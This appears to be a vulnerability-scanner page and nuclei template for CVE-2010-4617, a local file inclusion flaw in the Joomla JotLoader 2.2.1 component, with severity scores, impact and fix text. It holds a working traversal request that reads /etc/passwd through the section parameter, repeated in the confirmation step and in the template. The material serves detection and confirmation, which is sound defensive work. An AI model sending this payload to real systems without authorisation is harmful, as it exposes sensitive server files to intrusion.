Joomla! Component JotLoader 2.2.1 - Local File Inclusion

mediumseverity

6.8CVSS score

8.4%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the JotLoader (com_jotloader) component 2.2.1 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the section parameter to index.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_jotloader&section=../../../../../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-4617 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-4617

info:
  name: Joomla! Component JotLoader 2.2.1 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the JotLoader (com_jotloader) component 2.2.1 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the section parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/15791
    - https://nvd.nist.gov/vuln/detail/CVE-2010-4617
    - http://packetstormsecurity.org/files/view/96812/joomlajotloader-lfi.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/64223
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-4617
    cwe-id: CWE-22
    epss-score: 0.08374
    epss-percentile: 0.95014
    cpe: cpe:2.3:a:kanich:com_jotloader:2.2.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: kanich
    product: com_jotloader
  tags: cve,cve2010,joomla,lfi,edb,packetstorm,kanich,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_jotloader&section=../../../../../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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